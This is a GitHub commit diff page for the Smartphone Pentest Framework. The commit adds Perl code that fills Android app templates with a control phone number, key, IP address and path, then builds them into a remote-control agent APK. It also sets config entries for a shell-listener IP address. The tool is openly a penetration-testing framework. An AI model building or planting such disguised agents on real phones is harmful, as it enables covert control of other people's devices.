Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

agent frontends

  • Loading branch information...
commit b4110582b267840b312adbcf515e82ea7d7c7d83 1 parent e41be7b
@georgiaw authored
View
12 btinstall
@@ -13,20 +13,12 @@ echo -e "$(tput setaf 1)\nInstalling mod_perl, dbdpg, and expect for perl\n"; e
echo -e "$(tput setaf 1)#########################################\n"; echo "$(tput sgr0)"
apt-get -y install libapache2-mod-perl2 libexpect-perl libdbd-pg-perl libdevice-serialport-perl;
-
-mkdir code; cd code;
-
-echo -e "$(tput setaf 1)\nNow cloning Smartphone Pentest Framework...\n "; echo "$(tput sgr0)"
-sleep 5;
-
-git clone https://github.com/georgiaw/Smartphone-Pentest-Framework.git;
-
-echo -e "$(tput setaf 1)\nCloning has completed. Continuing Setup \n"; echo "$(tput sgr0)"
wget http://dl.google.com/android/android-sdk_r21-linux.tgz;
tar -xvzf android-sdk_r21-linux.tgz;
export PATH=${PATH}:/root/Smartphone-Pentest-Framework/android-sdk-linux/tools:/root/Smartphone-Pentest-Framework/android-sdk-linux/platform-tools
apt-get install ant1.8
-android update sdk --no-ui --filter android-4
+android update sdk --no-ui --filter addon-google_apis-google-4
+android update sdk --no-ui --filter platform-tool
echo -e "$(tput setaf 1)Creating first time 'framework' database (empty)\n"; echo "$(tput sgr0)"
service mysql start;
View
BIN  frameworkconsole/AndroidAgent.apk
Binary file not shown
View
8 frameworkconsole/config
@@ -2,9 +2,9 @@
#ROOT DIRECTORY FOR THE WEBSERVER THAT WILL HOST OUR FILES
WEBSERVER = /var/www
#IPADDRESS FOR WEBSERVER (webserver needs to be listening on this address)
-IPADDRESS = 10.0.1.10
+IPADDRESS = 192.168.1.103
#IP ADDRESS TO LISTEN ON FOR SHELLS
-SHELLIPADDRESS = 10.0.1.10
+SHELLIPADDRESS = 192.168.1.103
#IP ADDRESS OF SQLSERVER 127.0.0.1 IF LOCALHOST
MYSQLSERVER = 127.0.0.1
#DATABASE TYPE (mysql or postgres)
@@ -21,3 +21,7 @@ ANDROIDAGENT = /root/Smartphone-Pentest-Framework/frameworkconsole/AndroidAgent.
IPHONEAGENT = /root/Smartphone-Pentest-Framework/frameworkconsole/iphone.deb
#LOCATION OF ANDROID AGENT SRC
ANDROIDAGENTSRC = /root/Smartphone-Pentest-Framework/AndroidAgent
+#LOCATION OF ANDROID SDK
+ANDROIDSDK = /root/Smartphone-Pentest-Framework/android-sdk-linux
+#LOCATION OF ANDROID AGENT TEMPLATES
+ANDROIDTEMP = /root/Smartphone-Pentest-Framework/AgentTemplates
View
97 frameworkconsole/framework.pl
@@ -4,7 +4,7 @@
use Expect;
use IO::Socket;
use Device::SerialPort;
-$version = "0.1.3";
+$version = "0.1.4";
$configfile = "config";
open(CONFIG, "+<$configfile");
while (<CONFIG>)
@@ -87,7 +87,7 @@ ()
}
if ($choice2 == 2)
{
- make_agent();
+ choose_build();
last;
}
@@ -95,6 +95,89 @@ ()
}
+sub choose_build()
+{
+ while (1){
+ $export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
+ system($export);
+ $tempdir = $Variables{"ANDROIDTEMP"};
+ $ipaddress = $Variables{"IPADDRESS"};
+ $androidagentlocation = $Variables{"ANDROIDAGENT"};
+ opendir(DIRE, $tempdir);
+ @choices = readdir(DIRE);
+ closedir(DIRE);
+ print "Choose an app template build\n\n";
+ print "\t1.) Blank: No Front End\n";
+ $choiceslength = @choices;
+ for($i = 0; $i <= ($choiceslength); $i++) {
+ if (@choices[$i] eq "." || @choices[$i] eq ".." || @choices[$i] eq "AndroidAgent")
+ {
+ splice(@choices,$i,1);
+ $i--;
+ }
+ }
+ $choiceslength = @choices;
+ for($i = 2; $i <= ($choiceslength + 1); $i++) {
+ print "\t" . $i . ".) " . @choices[($i - 2)] . "\n";
+ }
+ print "\n\n";
+ print "spf>";
+ $choice1 = <>;
+ if ($choice1 == 1)
+ {
+ make_agent();
+ last;
+ }
+ elsif ($choice1 == 0)
+ {
+ return;
+ }
+ else
+ {
+ $pick = $choice1 - 2;
+ if ($pick < $choiceslength)
+ {
+ $partpath = @choices[pick];
+ $fullpath1 = $tempdir . "/" . $partpath . "/res/values/strings.xml";
+ $export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
+ system($export);
+ print "Phone number of the control modem for the agent:";
+ $controlphone = <>;
+ chomp($controlphone);
+ print "Control key for the agent:";
+ $controlkey = <>;
+ chomp($controlkey);
+ print "Webserver control path for agent:";
+ $controlpath = <>;
+ chomp($controlpath);
+ print "\n\nControl Number:" . $controlphone . "\nControl Key:" . $controlkey . "\nControlPath:" . $controlpath . "\nIs this correct?(y/n)";
+ $correct = <>;
+ chomp($correct);
+ if (lc($correct) eq "y")
+ {
+ #$command = "sed -i \'s/<string name=\"key\">.*/<string name=\"key\">" . $controlkey . "</string>/' " . $fullpath1;
+ $command = "sed -i \'s/<string name=\"key\">.*/<string name=\"key\">" . $controlkey . "<\\/string>/' " . $fullpath1;
+ system($command);
+ $command = "sed -i \'s/\<string name=\"controlnumber\">.*/<string name=\"controlnumber\">" . $controlphone . "<\\/string>/' " . $fullpath1;
+ system($command);
+ $command = "sed -i \'s/<string name=\"controlIP\">.*/<string name=\"controlIP\">" . $ipaddress . "<\\/string>/' " . $fullpath1;
+ system($command);
+ $command = "sed -i \'s/<string name=\"controlpath\">.*/<string name=\"controlpath\">\\" . $controlpath . "<\\/string>/' " . $fullpath1;
+ system($command);
+ $agentsrc = $tempdir . "/" . $partpath;
+ $command = "android update project --path " . $agentsrc . " --target \"Google Inc.:Google APIs:4\"";
+ system($command);
+ $command = "ant -f " . $agentsrc . "/build.xml clean debug";
+ system($command);
+ $command = "cp " . $agentsrc . "/bin/" . $partpath . "-debug-unaligned.apk " . $androidagentlocation;
+ system($command);
+
+ }
+ }
+ }
+ }
+}
+
sub make_agent()
{
while(1)
@@ -102,9 +185,12 @@ ()
$agentsrc = $Variables{"ANDROIDAGENTSRC"};
$ipaddress = $Variables{"IPADDRESS"};
$androidagentlocation = $Variables{"ANDROIDAGENT"};
+ $androidsdk = $Variables{"ANDROIDSDK"};
$codepath = $agentsrc . "/src/com/bulbsecurity/framework/";
$agentfile = $codepath . "AndroidAgent.java";
$receiverfile = $codepath . "SMSReceiver.java";
+ $export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
+ system($export);
print "This module compiles an Android Agent for use with SPF.\n";
print "Phone number of the control modem for the agent:";
$controlphone = <>;
@@ -132,7 +218,7 @@ ()
system($command);
$command = "sed -i \'s/path =.*/path = \"\\" . $controlpath . "\";/' " . $agentfile;
system($command);
- $command = "android update project --path " . $agentsrc . " --target android-4";
+ $command = "android update project --path " . $agentsrc . " --target \"Google Inc.:Google APIs:4\"";
system($command);
$command = "ant -f " . $agentsrc . "/build.xml debug";
system($command);
@@ -1880,6 +1966,11 @@ sub agent_attach
$phonenumber = @lines[1];
$platform = @lines[2];
$phonenumber2 = @lines[3];
+ close(TEXTFILE);
+ open(TEXTFILE2, ">$text");
+ print TEXTFILE2 "";
+ close(TEXTFILE2);
+
database_add($phonenumber,$path,$key,$phonenumber2,$platform);
$type = $Variables{"DATABASETYPE"};
if ($type eq "postgres")
View
0  frameworkconsole/log
No changes.
Please sign in to comment.
Something went wrong with that request. Please try again.